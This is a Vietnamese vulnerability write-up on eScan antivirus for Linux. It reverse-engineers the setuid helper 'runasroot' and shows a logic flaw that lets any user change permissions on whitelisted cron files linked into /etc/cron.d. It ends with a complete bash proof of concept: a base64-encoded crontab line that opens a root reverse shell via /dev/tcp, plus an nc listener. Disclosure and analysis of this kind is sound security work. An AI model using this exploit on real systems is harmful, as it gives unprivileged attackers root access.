- Ứng ụng có một số file có suid bit với owner root. Vì vậy, attacker có thể lợi dụng lỗ hổng trong các file này để leo thang dặc quyền.
- Goal: Tạo được reverse shell với quyền root
Note: cutter (backend là rizin framework) sử dụng bộ framework capstone
của anh Anh Quỳnh để phân tích và dịch ngược ra assembly code. Trong khi đó, Ghidra sử dụng bộ từ điển Sleigh riêng. Trong một một số trường hợp, kết quả dịch ngược của cùng 1 binary file khi sử dụng 2 framework này là khác nhau.
runasroot
là một file ELF có chứa suid bit và sgid bit
Chương trình thực hiện công việc như sau:
Nếu user hiện tại là root hoặc user do phần mềm ghi vào hệ thống, chương trình sẽ lưu vào một biến với giá trị là 1
nhằm cho phép thực thi lệnh sau đó
Tiếp theo, chương trình kiểm tra absolute path của đường dẫn mà người dùng nhập vào bằng hàm realpath()
. Trong trường hợp kết quả trả về lỗi, đường dẫn file sẽ được lưu với giá trị NA
(0x414e)
Chương trình tiếp tục gọi đến một hàm để verify các arguments của người dùng nhằm đảm bảo câu lệnh được thực thi là an toàn
Ở đoạn này, Ghidra không thể nhận diện được các tham số được truyền vào trong hàm. Vì vậy, ta sử dụng Cutter để kiểm tra các tham số truyền vào
Do hạn chế của plugin Ghidra decompiler được sử dụng bởi Cutter, một số tên biến được tạo bởi decompiler không thể đổi tên được. Biến uStack_438
trong screenshot chính là biến lưu trữ giá trị của đường dẫn người dùng nhập vào sau khi dã kiểm tra bằng việc gọi hàm realpath()
như đã phân tích ở trên.
Như vậy, nếu người dùng thực thi runasroot
với các tham số như ./runasroot foo bar path_to_a_file
thì chương trình sẽ verify như sau (pseudo code): int_err_verify = verify_command_args( (char*)[foo], (char*)[validate_real_path(path_to_a_file)])
Hàm verify_command_args
so sánh tham số thứ nhất với chuỗi chmod
Tiếp theo, hàm này sẽ kiểm tra đường dẫn người dùng nhập vào với một danh sách đã được định nghĩa sẵn
Cuối cùng, chương trình kiểm tra sự hợp lệ của uid
và các tham số, rồi thực hiện setuid
và setgid
, kiểm tra điều kiện thực thi lệnh trước khi gọi execve
để execute command
Trong trường hợp user gọi file runasroot
không phải là root hoặc user phần mềm tạo ra, phần mềm sẽ kiểm tra quyền của người dùng đối với file mà user chỉ định thông qua hàm access()
. Chương trình có tiếp tục thực hiện kiểm tra đường dẫn file như đã phân tích ở trên. Về cơ bản, luồng hoạt động của hàm này không khác gì luồng đã phân tích ở trên
Kết luận: runasroot
là một chương trình cho phép user thực thi lệnh chmod
nhằm thay đổi quyền hệ thống đối với một số file mà eScan tạo ra. Chương trình này có thực hiện các thao tác kiểm tra dữ liệu nhằm đảm bảo lệnh được thực thi là an toàn.
Khi kiểm tra kỹ danh sách cách file được phép thay đổi permission, ta thấy có 3 file như trong hình
Trong đó, có 2 file đã được ghi vào cronjob của hệ thống dưới dạng symlink.
Như vậy, ta có thể thấy một số vấn đề
- Các file crontab nằm trong whitelist. Sẽ thế nào nếu attacker có thể sửa đổi chúng nhằm thực hiện các lệnh độc hại?
- crontab được tạo symlink trong
/etc/cron.d/
. Như vậy, crontab sẽ luôn được hệ thống thực thi thông qua dịch vụcronjob
=> Sẽ thế nào nếu hacker có lợi dụng các điều kiện rên để thực thi lệnh theo ý muốn?
Quay trở lại với quá trình kiểm ra dữ liệu từ tham số (hàm verify_and_args()
trả về giá trị 0
nếu tham số không hợp lệ, giá trị 1
nếu tham số hợp lệ)
Pseudo code như sau:
if (verify_args(args[1], validated_path) != error OR uid == 0 OR uid == 0xc4) then
{
setuid(0);
setgid(0);
validate_command_conditions(); // hàm này thực hiện lại luồng kiểm tra trước đó. Trên thực tế, khi chương trình chạy đến đây thì hàm này không trả về lỗi
execvp(command);
}
Ta có các dữ kiện:
- Nếu
argv[1]
là chmod vàargv[3]
là đường dẫn nằm trong danh sách được kiểm tra, hàmverify_and_args()
luôn trả về giá trị hợp lệ - Vì đoạn so sánh điều kiện sử dụng toán tử
||
, chỉ cần1.
thỏa mãn, điều kiện này luôn dúng và đoạn code sau đó luôn được thực thi runasroot
cósuid
vàsgid
bit, nên unprivileged user luôn có thể sửa đổi quyền của các file cron của antivirus. Thông qua việc sửa đổi lại quyền của các file cron, attacker có thể ghi crobtab mới.- Antivirus đã tạo symlink vào trong
/etc/cron.d/
. Vì vậy, hệ thống sẽ thực thi crontab được ghi đè thông qua cronjob.
Như vậy, ta có hướng khai thác như sau
- Attacker tận dụng lỗi logic trong
runasroot
để cấp quyền ghi vào file cron cho unprivileged user - Attacker tiến hành overwrite file crontab nhằm thực thi mã độc
- Để crontab có thể thực thi được, attacker tiến hành rollback lại quyền của file vừa sửa đổi permisison bằng cách bỏ quyền write
- Attacker đợi crontab được thực thi bởi dịch vụ cronjob
Đoạn mã POC, tạo một reverse shell tới 127.0.0.1:8888
#!/bin/bash
# Modify permission of crontab
/opt/MicroWorld/sbin/runasroot chmod 777 /opt/MicroWorld/etc/mwavupdate
# Modify crontab to run malicious command
echo "KiAqICogKiAqIHJvb3QgYmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTI3LjAuMC4xLzg4ODggPCYxJwo=" | base64 -d > /opt/MicroWorld/etc/mwavupdate
/opt/MicroWorld/sbin/runasroot chmod 750 /opt/MicroWorld/etc/mwavupdate
nc -nvlp 8888
Khi crontab được trigger, attacker có reverse shell với quyền root
Kiểm tra log bằng journalctl
, có thể thấy quá trình thực thi đã được log lại
Như vậy, attacker đã khai thác lỗ hổng thành công, qua đó leo thang đặc quyền từ unprivileged user trở thành root